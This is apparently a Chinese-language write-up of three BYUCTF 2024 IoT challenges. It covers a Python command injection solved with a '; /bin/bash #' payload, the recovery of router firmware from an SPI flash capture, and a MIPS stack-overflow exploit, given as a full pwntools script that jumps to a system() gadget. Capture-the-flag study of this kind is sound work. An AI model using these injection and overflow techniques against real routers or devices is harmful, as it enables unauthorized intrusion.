nyyyddddn

byuctf_iot

2024/09/07

iot

We found a command injection….. but you have to reboot the router to activate it…

Reboot(Misc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
### IMPORTS ###
import os, time, sys


### INPUT ###
hostname = 'bababooey'

while True:
print('=== MENU ===')
print('1. Set hostname')
print('2. Reboot')
print()
choice = input('Choice: ')

if choice == '1':
hostname = input('Enter new hostname (30 chars max): ')[:30]

elif choice == '2':
print("Rebooting...")
sys.stdout.flush()
time.sleep(30)
os.system(f'cat /etc/hosts | grep {hostname} -i')
print('Reboot complete')

else:
print('Invalid choice')

命令注入? 查询了一下shell相关的文档,发现可以通过 ;去连接两条子命令,# 去注释掉 -i

exp

1
1; /bin/bash #

Sal(HardWare)

1
2
3
4
5
A few friends and I recently hacked into a consumer-grade home router. Our first goal was to obtain the firmware. To do that, we hooked up a SOIC-8 clip to the external flash memory chip, connected a Saleae Logic Pro 8 logic analyzer, and captured data using Logic 2 as we booted up the IoT device. The external flash memory chip was Winbond 25Q128JVSQ.

What's the md5sum of /etc/passwd?

Flag format - byuctf{hash}

external flash memory chip(外部存储芯片) 一般用来存数据(文件系统),需要分析Saleae逻辑分析仪捕获的信号,来还原这个文件系统

Saleae logic的官网有分析.sai文件的软件,需要下载这个软件来分析题目的附件

可以发现作者用Saleae logic录制了四个通道

通过阅读文档发现 Winbond 25Q128JVSQ使用的是spi通信协议

SPI 有四条信号线,这里主设备是指控制者,从设备是指flash存储芯片

1
2
3
4
MOSI(Master Out Slave In): 主设备输出数据,从设备接收数据。
MISO(Master In Slave Out): 主设备接收数据,从设备输出数据。
SCLK(Serial Clock): 时钟信号,由主设备生成,控制数据的传输速率。
SS/CS(Slave Select/Chip Select): 从设备选择信号。当某个从设备被选中(SS为低电平时),它才会响应主设备的指令。

Saleae logic里有一个spi数据分析的插件,可以把读写数据的行为分析出来

分析并且导出数据,得先区分这四个通道分别对应哪四个信号线,读取数据的时候,CS的电平会被拉低,然后通过DI依次输入0x3h以及一个24位的地址,地址被接收后,从设备准备好输出数据时,时钟信号会从高电平变成低电平触发数据输出

所以通道D1是CLK,D2是CS,D3是DI,D4是DO

设置好参数后就可以用spi内存分析的插件去分析数据了

Saleae输出进行parser的项目,可以分析I2C和SPI,并且可以把spi中的read sessions转换成原数据的项目https://github.com/idaholab/Saleae_Output_Parser

使用这个项目进行分析

1
python3 saleae_parser.py -z spi --binary --device W25Q128JVSQ data.csv

还原成功了,binwalk识别出文件系统了

1
2
3
4
5
6
7
8
9
10
lhj@lhj-virtual-machine:~/Desktop/byuctf/iot/Saleae_Output_Parser$ binwalk mem_map.bin

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
39192 0x9918 CRC32 polynomial table, little endian
40288 0x9D60 gzip compressed data, maximum compression, from Unix, last modified: 2021-04-28 08:49:30
337944 0x52818 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 7676180 bytes
2949120 0x2D0000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 3157356 bytes, 734 inodes, blocksize: 131072 bytes, created: 2038-02-22 09:50:56
14548992 0xDE0000 JFFS2 filesystem, little endian

flag byuctf{c8ef3ad94c6eb97f4fa94a0f0ed33980}

1
2
3
4
5
lhj@lhj-virtual-machine:~/Desktop/byuctf/iot/Saleae_Output_Parser/_mem_map.bin.extracted/squashfs-root/etc$ cat passwd
root:$6$q6e6auXY$VErm6mljneXnoZfeEg9Z.PDZMi29KP5UKB50DEleSr2DW1z4Bxt.07Y0KQKAzJwNFzas9snKlQXq2LC7gYzwW.:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/:/dev/null
lhj@lhj-virtual-machine:~/Desktop/byuctf/iot/Saleae_Output_Parser/_mem_map.bin.extracted/squashfs-root/etc$ md5sum passwd
c8ef3ad94c6eb97f4fa94a0f0ed33980 passwd

Token(Pwn,Crypto)

1
While doing hacking our router, we found a buffer overflow that had to be exploited in conditions similar to these ones. If you've never learned MIPS, now is the time!

这是一个mips32 小端序的程序,首先会生成一个十六字节的key,然后发送出来,然后读取数据到bss段上,判断数据前十六个字节是否符合格式,然后再用aes ecb的方式解密十六个字节后的数据最后parse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // $v0
unsigned int v4; // $v0
int i; // [sp+18h] [+18h]
unsigned int j; // [sp+1Ch] [+1Ch]
ssize_t v8; // [sp+20h] [+20h]
int v9; // [sp+24h] [+24h]
char key[20]; // [sp+28h] [+28h] BYREF
char cipher[1032]; // [sp+3Ch] [+3Ch] BYREF
char v12[20]; // [sp+444h] [+444h] BYREF

strcpy(key, "0123456789abcdef");
v3 = time(0);
srand(v3);
for ( i = 0; i < 16; ++i )
{
v4 = rand() & 0x800000FF;
key[i] = v4;
}
write(1, key, 0x10u);
memset(input_buf, 0, 0x406u);
v8 = read(0, input_buf, 0x400u);
if ( v8 < 15 )
return 1;
if ( input_buf[0] != 'L' || byte_4140D1 != 'E' || byte_4140D7 != 'G' || byte_4140D8 != 'O' )
return 1;
if ( (((_BYTE)v8 - 15) & 0xF) != 0 )
return 1;
v9 = (v8 - 15) / 16;
memset(cipher, 0, 0x406u);
for ( j = 0; j < v8 - 15; ++j )
cipher[j] = input_buf[j + 15];
decrypt_aes_ecb((int)key, (int)cipher, v9);
memset(v12, 0, sizeof(v12));
parse(cipher, v12);
puts(v12);
return 0;
}

bool __fastcall decrypt_aes_ecb(int a1, int a2, int a3)
{
_BOOL4 result; // $v0
int i; // [sp+18h] [+18h]
char v5[180]; // [sp+1Ch] [+1Ch] BYREF

for ( i = 0; ; ++i )
{
result = i < a3;
if ( i >= a3 )
break;
AES_init_ctx(v5, a1);
AES_ECB_decrypt(v5, a2 + 16 * i);
}
return result;
}

void *__fastcall parse(char *a1, void *a2)
{
const char *i; // [sp+18h] [+18h]
char v4; // [sp+1Ch] [+1Ch] BYREF
char v5; // [sp+2Ch] [+2Ch] BYREF

if ( !a1 )
return memcpy(a2, "{\"code\":-2}", 0xBu);
for ( i = strtok(a1, "&"); i; i = strtok(0, "&") )
{
if ( !strncmp(i, "t=", 2u) )
{
sscanf(i, "t=%s", &v4);
}
else
{
if ( strncmp(i, "tz=", 3u) )
return memcpy(a2, "{\"code\":-1}", 0xBu);
sscanf(i, "tz=%d", &v5);
}
}
return memcpy(a2, "{\"code\":0}", 0xBu);
}

在parser函数中 解析t=字段的时候value的位置有一个栈溢出,mips在叶子函数调用栈回溯的方式是jmp ra,非叶子函数的回溯方式是把返回地址复制到ra寄存器中再jmp ra,所以劫持控制流jmp到任意地址一次非常简单,但是后续的操作就很麻烦,不能像x86 64中rop的方式,找ret结尾的gadget打rop

程序中有一个输出日志的logging函数有system的引用

1
2
3
4
5
6
7
8
9
10
int logging()
{
char v1[516]; // [sp+18h] [+18h] BYREF
char v2[36]; // [sp+21Ch] [+21Ch] BYREF

memset(v1, 0, sizeof(v1));
strcpy(v2, "Imagine this is a log message");
snprintf(v1, 0x200u, "echo '%s'", v2);
return system(v1);
}

其中有一个片段是,由于第一次输入的地址是在bss段上的,只需要构造payload的时候加上binsh,覆盖fp为bss就能取到binsh的地址

1
2
3
4
5
# .text:0040104C 18 00 C2 27                   addiu   $v0, $fp, 0x240+var_228
# .text:00401050 25 20 40 00 move $a0, $v0 # command
# .text:00401054 7C 80 82 8F la $v0, system
# .text:00401058 25 C8 40 00 move $t9, $v0
# .text:0040105C 09 F8 20 03 jalr $t9 ; system

sscanf %s导致的溢出有00截断的原因,但是parser函数的实现,可以通过构造多个”t=”的表达式去实现多次栈溢出,首先先把返回地址的低三个字节覆盖,然后再把fp覆盖成bss就好了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad


context.log_level = 'debug'

binary = "./token"
elf = context.binary = ELF(binary, checksec=False)
qemu = ELF('/usr/bin/qemu-mipsel',checksec=False)

is_debug = 1

if is_debug:
p = qemu.process(['-g','1234','-L','./','./token'])
# p = qemu.process(['-L','./','./token'])
else:
p = remote("localhost", 1337)

def encrypt_ecb(plaintext, key):
cipher = AES.new(key, AES.MODE_ECB)
padded_plaintext = pad(plaintext, AES.block_size)
ciphertext = cipher.encrypt(padded_plaintext)
return ciphertext

key = p.recvn(16)
success(f"key: {key.hex()}")

# .text:0040104C 18 00 C2 27 addiu $v0, $fp, 0x240+var_228
# .text:00401050 25 20 40 00 move $a0, $v0 # command
# .text:00401054 7C 80 82 8F la $v0, system
# .text:00401058 25 C8 40 00 move $t9, $v0
# .text:0040105C 09 F8 20 03 jalr $t9 ; system

payload = flat(
b't=', # token
b'A'*20, # padding
b'0000', # stack pointer
p32(0x40104c)[:-1], # return address

b'&t=', # token
b'A'*20, # padding
p32(0x41410f)[:-1], # stack pointer (base of input_buf + offset to /bin/sh payload - offset from gadget)

b'&tz=1' # timezone
)

HEADER = b'LExxxxxGOxxxxxx'
ciphertext = encrypt_ecb(payload, key)
total = HEADER+ciphertext+b'AAAAAAAA/bin/sh\x00'

p.send(total)

p.interactive()
CATALOG
  1. 1. iot
    1. 1.1. Reboot(Misc)
    2. 1.2. Sal(HardWare)
    3. 1.3. Token(Pwn,Crypto)